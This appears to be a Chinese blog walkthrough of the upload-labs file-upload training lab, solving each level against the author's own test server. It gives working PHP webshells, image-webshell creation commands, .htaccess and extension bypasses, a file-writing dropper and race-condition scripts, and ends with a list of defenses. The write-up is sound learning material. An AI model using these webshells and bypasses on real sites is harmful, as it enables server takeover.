本文最后更新于 2024-07-26,文章内容可能已经过时。

简介

upload-labs是一个使用 php语言编写的,专门收集渗透测试和CTF中遇到的各种上传漏洞的靶场。旨在帮助大家对上传漏洞有一个全面的了解。目前一共20关,每一关都包含着不同上传方式。

buu刷题笔记之文件上传漏洞全集-Upload-labs通关手册

免责声明
⚠特别说明:此教程为纯技术教学!严禁利用本教程所提到的漏洞和技术进行非法攻击,本教程的目的仅仅作为学习,决不是为那些怀有不良动机的人提供技术支持!也不承担因为技术被滥用所产生的连带责任!⚠

第一关

准备一句话php木马:

<?php @eval($_POST['code']);?>

根据直接上传php木马,发现前端报错:

buu刷题笔记之文件上传漏洞全集-Upload-labs通关手册

解决方法:

【方法一】打开浏览器检查功能,关闭js加载,即可绕过限制。

【方法二】通过burp suit抓包改后缀名称(如:jpg,png等等),即可绕过前端JS校验。

img

【方法一】:

buu刷题笔记之文件上传漏洞全集-Upload-labs通关手册

【方法二】:

打开burp 对后缀进行修改,改成原来的php

image-20240520185020571

如上图,成功上传后,连接蚁剑进行测试:

第二关

首先我们还是直接上传我们的webshell.php,看看有什么提示 打开burp 我通过上传shell.php文件发现**提示:文件类型不正确,请重新上传!,可以判断该pass是检查的文件的MIME类型。 【方法一】 利用Burp Suit修改成允许的MIME类型进行文件上传采用image/jpeg、image/png的MIME类型: 上传 .php**后缀的文件,修改请求包内容内的 Content-Type,将 application/octet-stream修改为 image/png或者 image/jpeg即可上传成功。

方法一:

image-20240520185117451

方法二:同上一关的方法二,上传成功后连接蚁剑。

第三关

还是老操作,直接上传咱**webshell.php**,提示不能上传后缀为这些的文件

image-20240520185250409

查看源码发现是黑名单拦截,通过使用 php3phtml等后缀进行绕过:

image-20240520185410772

使用burp进行抓包拦截后修改后缀名为 php3,进行放包:

image-20240520185506586

完美上传,直接使用蚁剑访问就行,继续下一关

buu刷题笔记之文件上传漏洞全集-Upload-labs通关手册

第四关

依旧提示**文件类型**不允许上传,盲猜依旧是黑名单拦截,我们看一下源码

image-20240520185649132但几乎过滤了所有有问题的后缀名,除了.htaccess,于是首先上传一个 .htaccess内容如下的文件:

SetHandler application/x-httpd-php

//编写好后上传

这样所有文件都会解析为php,然后再上传图片马,就可以解析:

image-20240520185849548

用蚁剑访问一下试试,完美

第五关

咱们照旧还是直接提交**webshell.php文件测试,提示不允许类型,盲猜还是黑名单,并且这次也拦截了 .htaccess文件**我们看一下源码

image-20240520185947582

通过查看源码,我们发现并没有对后缀大小写进行明确的锁定,因此我们可以借此绕过

image-20240520190020253

用检查工具,查看上传的文件名,上传后复制链接,直接用蚁剑进行连接

buu刷题笔记之文件上传漏洞全集-Upload-labs通关手册

第六关

直接上传info.php,依旧报不允许上传文件类型,不用猜还是黑名单,查看源码,不仅拦截了大部分后缀,大小写也拦截了,厉害了

image-20240520190202792

可以通过%00或者0x00来绕过。即对后缀名进行去空处理,可在后缀名中加空绕过:

image-20240520190234489

成功上传后用蚁剑进行连接即可。

第七关

通过查看源码,我们发现还是黑名单,但是没有对后缀名进行去”.”处理,利用windows特性,会自动去掉后缀名中最后的”.”,可在后缀名中加”.”绕过:

image-20240520190457920

image-20240520190518372

用检查工具获取文件名,蚁剑连接成功访问

 buu刷题笔记之文件上传漏洞全集-Upload-labs通关手册

第八关

image-20240520190624953

查看源码,发现还是黑名单,但是没有对后缀名进行去”::$DATA”处理,利用windows特性,可在后缀名中加” ::$DATA”绕过:

image-20240520191329767

第九关

查看源码

image-20240520191410995

黑名单过滤,注意第15行和之前不太一样,路径拼接的是处理后的文件名,于是构造info.php. . (点+空格+点),经过处理后,文件名变成info.php.,即可绕过。

image-20240520194159092

buu刷题笔记之文件上传漏洞全集-Upload-labs通关手册

第十关

查看源代码:

image-20240520194342927

依旧是黑名单过滤,注意到,这里是将后缀名替换为空,于是可以利用双写绕过:

image-20240520194403111

第十一关

image-20240520220704791

通过源码可知,有如下的过滤条件:

  • 删除文件名末尾的点

  • 转换为小写

  • 去除字符串::$DATA

  • 首尾去空

    payload:

    <?php phpinfo();?>
    

    将上传的php文件,在burp进行抓包后进行加双写处理,后放行

    image-20240520231453016

    image-20240520231534612

    上传成功,查看文件

    image-20240520231734805

第十二关

image-20240520231926930

查看源码可知,只允许上传.jpg|.png|.gif类型文件!这里可以采用00截断的方式进行绕过,由于需要需要php版本<5.3.4,并且magic_quotes_gpc关闭(这个版本太老了,忽略不做了),使用 0x00截断即(上传图片马jpg后,包含一个info.php%00)可绕过

第十三关

和十二关一样,都是使用00截断的方式进行绕过,由于需要需要php版本<5.3.4,忽略不做了

image-20240520232648338

第十四关

image-20240520233020697

题意可知,上传图片马,要.jpg或者png或者gif格式的文件。

查看源码:

image-20240520233116422

getReailFileType()用于检测文件头部两个字节的信息(前两个字节是文件格式的标识),并且通过二进制码判断其文件的类型,然后控制文件的上传。

由于其要检测前两个字节的信息,所以不能简单的通过直接修改后缀进行上传。需要制作图片马,采用图片与木马合并的方法,将一张图片1.jpg与木马info.php组成info.jpg文件

cmd执行:

copy 1.jpg /b + info.php /a info.jpg   

image-20240521012019890

制作成功后将其上传,但是由于图片不能解析为php代码来执行。若有文件包含漏洞,则可以通过文件包含漏洞进行解析,利用靶场中包含的include.php测试文件包含漏洞。

image-20240521011435033

http://192.168.91.128/secenvs/uploadlabs/include.php?file=./upload/2420240520191742.jpg

image-20240521011943161

第十五关

image-20240521012119667

和第十四关一样的原理。只不过上传的换成png就行了

cmd执行

copy 2.png /b + info.php /a info.png

制作好info.png图片马后上传

image-20240521014813594

image-20240521014801914

第十六关

和前两关原理一样,就是改成gif格式的上传就行了

copy 3.gif /b + info.php /a info.gif

image-20240521015158802

image-20240521015253472

第十七关

image-20240521015355078

和前几关差不多,尝试制作上传gif格式的小马

copy 4.gif /b + info.php /a 4.gif

image-20240521015818543

image-20240521020031166

发现一句话被删除了?查看源码:

image-20240521021116315

应该是这里的 imagecreatefromgif 函数对文件进行了二次渲染。将图片马的一句话删除了,网上插叙知道了这个 imagecreaterfrom..函数可以调用php GD库(GD库是可以使php对图形图片进行处理的库)

info.php上传上去,尝试写一段python代码,不停的进行访问,直到访问成功为止:条件竞争上传绕过

import requests

url = "http://192.168.91.128/secenvs/uploadlabs/Pass-17/info.php"
 
while True:
 
    html = requests.get(url)
 
    if html.status_code == 200:
 
		print("OK")
 
        break

上传成功后,蚁剑进行连接即可。

image-20240521022738483

第十八关

image-20240718121006165

查看源码:

image-20240718121040566

这关也是条件竞争漏洞的利用

和17关一样 也是先上传 再进行验证的 不符合就删除

依旧利用条件竞争漏洞来直接上传php文件攻击

编写php脚本如下,命名为shell18.php

<?php fputs(fopen('../upload/shell18.php','w'),'<?php phpinfo();?>');?>

编写python脚本如下:

import requests
url = "http://192.168.114.200/upload-labs-master/upload/18.php"
while True:
    html = requests.get(url)
    if html.status_code == 200:
        print("OK")
        break
    else:
        print("发包中")

使用burp不停的进行上传,另一边不断访问,注意访问的文件需要有写权限,不然还是不行

页面中上传,抓包。然后用burp的 Intruder模块不停的发包

image-20240718122618332

image-20240718122730842

两边同时运行就行了

image-20240718122823401

查看源码文件夹,最后得到shell18.php,浏览器访问

image-20240718124133185

第十九关

image-20240718124158034

本关需要阅读index.php和myupload.php

源码查看:

/uploadlabs/Pass-19/index.php

image-20240718140458428

if (isset($_POST['submit']))
{
    require_once("./myupload.php");// 包含一次myupload.php 出错会终止执行后面的代码
    $imgFileName =time();// 根据当前时间生成文件名

    // 创建文件上传类 并传递四个文件上传的基本参数
    $u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['size'],$imgFileName);
  
    $status_code = $u->upload(UPLOAD_PATH);//设置上传目录 define("UPLOAD_PATH","../upload");

/uploadlabs/Pass-19/myupload.php

image-20240718140640844

<?php

# 定义了 MyUpload类
class MyUpload{  
   
  // 定义了一大堆东西 重点看$cls_arr_ext_accepted白名单 上传路径$cls_upload_dir 
  var $cls_upload_dir = "";         // Directory to upload to.
  var $cls_filename = "";           // Name of the upload file.
  var $cls_tmp_filename = "";       // TMP file Name (tmp name by php).
  var $cls_max_filesize = 33554432; // Max file size.
  var $cls_filesize ="";            // Actual file size.
  var $cls_arr_ext_accepted = array(
      ".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",".ppt",
      ".html", ".xml", ".tiff", ".jpeg", ".png" );
  var $cls_file_exists = 0;         // Set to 1 to check if file exist before upload.
  var $cls_rename_file = 1;         // Set to 1 to rename file after upload.
  var $cls_file_rename_to = '';     // New name for the file after upload.
  var $cls_verbal = 0;              // Set to 1 to return an a string instead of an error code.

  //  函数传递了$_FILES['upload_file']['name'], 
  //  	     	$_FILES['upload_file']['tmp_name'], 
  //  	     	$_FILES['upload_file']['size'],
  //  	     	$imgFileName=time()
  function MyUpload( $file_name, $tmp_file_name, $file_size, $file_rename_to = '' ){
  
    $this->cls_filename = $file_name;
    $this->cls_tmp_filename = $tmp_file_name;
    $this->cls_filesize = $file_size;
    $this->cls_file_rename_to = $file_rename_to;
  }
   
  // 判断文件是否为http post方式上传
  function isUploadedFile(){
  
    if( is_uploaded_file( $this->cls_tmp_filename ) != true ){
      return "IS_UPLOADED_FILE_FAILURE";
    } else {
      return 1;
    }
  }

   
   /*先判断../upload/文件夹是否可写 
     然后赋值给$this->cls_upload_dir 不过这里缺少个"/"
     需要自己添加*/
  function setDir( $dir ){
  
    if( !is_writable( $dir ) ){
      return "DIRECTORY_FAILURE";
    } else { 
      $this->cls_upload_dir = $dir."/"; //  $this->cls_upload_dir = "../upload/"
      return 1;
    }
  }


    // 判断是否在白名单中 白名单验证
    if( !in_array( strtolower( strrchr( $this->cls_filename, "." )), $this->cls_arr_ext_accepted )){
      return "EXTENSION_FAILURE";
    } else {
      return 1;
    }
  }

   // 检查文件大小 可忽略
  function checkSize(){
    if( $this->cls_filesize > $this->cls_max_filesize ){
      return "FILE_SIZE_FAILURE";
    } else {
      return 1;
    }
  }

   // 移动临时文件到upload目录
  function move(){
    if( move_uploaded_file( $this->cls_tmp_filename, $this->cls_upload_dir . $this->cls_filename ) == false ){
      return "MOVE_UPLOADED_FILE_FAILURE";
    } else {
      return 1;
    }

  }
   // 检查上传文件夹../upload/time()是否存在
  function checkFileExists(){
    if( file_exists( $this->cls_upload_dir . $this->cls_filename ) ){
      return "FILE_EXISTS_FAILURE";
    } else {
      return 1;
    }
  }
  
  // 将上面函数进行整合
  function upload( $dir ){
	.......
 }

?>

从源码中看出,这关是条件竞争+白名单+其他漏洞配合

upload()函数大致思路如下:

判断文件是否为http post方式上传
建立文件夹
白名单验证后缀名
检查大小
检查上传文件夹是否存在
移动临时文件到上传目录
对文件进行重命名

同样的逻辑缺陷 不过是白名单 上传路径不可控制 所以上传含有木马的白名单文件 配合条件竞争和其他漏洞来实现写入木马

用白名单+条件竞争+文件包含漏洞的方法通关:

编写php文本,使用copy命令合并成jpg图片木马:

<?php phpinfo();?>
  
copy shell19.php/a+tupian.png/b 19.jpg 

image-20240718141535457

编写python脚本如下:

import requests

url = "http://192.168.91.128/secenvs/uploadlabs/include.php?file=upload/19.jpg"
while True:
    html = requests.get(url)
    if ('Warning' not in str(html.text)):
        print('ok')
        break
    else:
        print("发包中")

和17,18关一样,上传图片马,Burp进行抓包不断发送,同时运行python脚本

成功上传

image-20240718142328568

image-20240718142519585

第二十关

image-20240718142653461

查看源码:

image-20240718142732203

image-20240718142937807

有两个重要的点产生漏洞

$file_name = $_POST['save_name'];
$img_path = UPLOAD_PATH . '/' .$file_name;

一个是获取文件名通过 $_POST来获取。 $_POST传参导致文件上传路径可控

第二个是使用 move_uploaded_file函数执行上传动作,该函数会忽略文件末尾的 /.

因此可以在文件名后加 /.这两个符号来绕过黑名单的限制

编写payload如下:

<?php phpinfo();?>

保存文件,上传后用burp进行抓包,修改后缀,发现上传成功。

image-20240718143805976

思路二
Apache HTTPD 换行解析漏洞(CVE-2017-15715)
apache2.4.0~2.4.29版本
判断后缀时会带上末尾的换行符,也就是说.php%0A这个后缀和.php一样都会被apache当作php文件解析。

这个漏洞只有 Linux
能用,倒不是因为windows上的apache没有这个问题,而是因为windows不允许使用换行符作为文件名的结尾。

运用Apache HTTPD 换行解析漏洞:

同上编写 phpinfo()文件,保存后上传,用burp抓包,修改后缀名为 %0A

image-20240718144529414

第二十一关

MIME验证+白名单+上传路径可控

image-20240718142705389

阅读源码:

image-20240718144640217

从源码可以看出文件的验证过程:

--> 验证上传路径是否存在
--> 验证['upload_file']的content-type是否合法(可以抓包修改)
--> 判断POST参数是否为空定义$file变量(关键:构造数组绕过下一步的判断)
--> 判断file不是数组则使用explode('.', strtolower($file))对file进行切割,将file变为一个数组
--> 判断数组最后一个元素是否合法
--> 数组第一位和$file[count($file) - 1]进行拼接,产生保存文件名file_name
--> 上传文件

explode(separator,string[,limit])函数,使用一个字符串分割另一个字符串,并返回由字符串组成的数组。

end(array)函数,输出数组中的当前元素和最后一个元素的值。

reset(array)函数,把数组的内部指针指向第一个元素,并返回这个元素的值

count(array)函数,计算数组中的单元数目,或对象中的属性个数

思路:

  1. 上传shell21.php和POST参数,burp抓包
  2. 修改content-type
  3. 修改POST参数为数组类型,索引[0]为shell21.php,索引[2]为jpg|png|gif。
    只要第二个索引不为1,$file[count($file) - 1]就等价于$file[2-1],值为空
  4. burp放包,使用蚁剑连接../upload/shell21.php

过程:

编写一句话木马,保存文件为shell21.php

<?php @eval($_POST['aaa']);?>

页面中上传,burp进行抓包

image-20240718150351166

修改如下,进行放包,提示文件上传成功。

image-20240718150803815

查看源码目录,发现已经上传成功。

image-20240718151118405

蚁剑进行连接测试:

image-20240718151044216

文件上传的防御手段

  1. 不要暴露上传文件的位置;
  2. 禁用上传文件的执行权限;
  3. 黑白名单;
  4. 对上传的文件重命名,不易被猜测;
  5. 对文件内容进行二次渲染;
  6. 对上传的内容进行读取检查;
  7. 不同系统有不同的需求,根据系统需求制定特定的防御手段。
  8. 加上WAF防火墙

总结

通过upload-labs靶场的练习,我了解更多的防护与绕过手段。

文件上传是Web应用程序中常见的功能,但也是安全风险较高的功能之一。文件上传功能存在许多潜在的安全漏洞,攻击者可以利用这些漏洞来执行恶意代码、上传恶意文件或者绕过访问控制。

总的来说,文件上传功能是一个潜在的安全风险点,开发人员在设计和实现文件上传功能时,需要充分考虑安全性,并采取相应的措施来防范潜在的攻击。定期对文件上传功能进行安全审计和漏洞扫描,及时修复发现的安全问题,可以有效提升系统的安全性。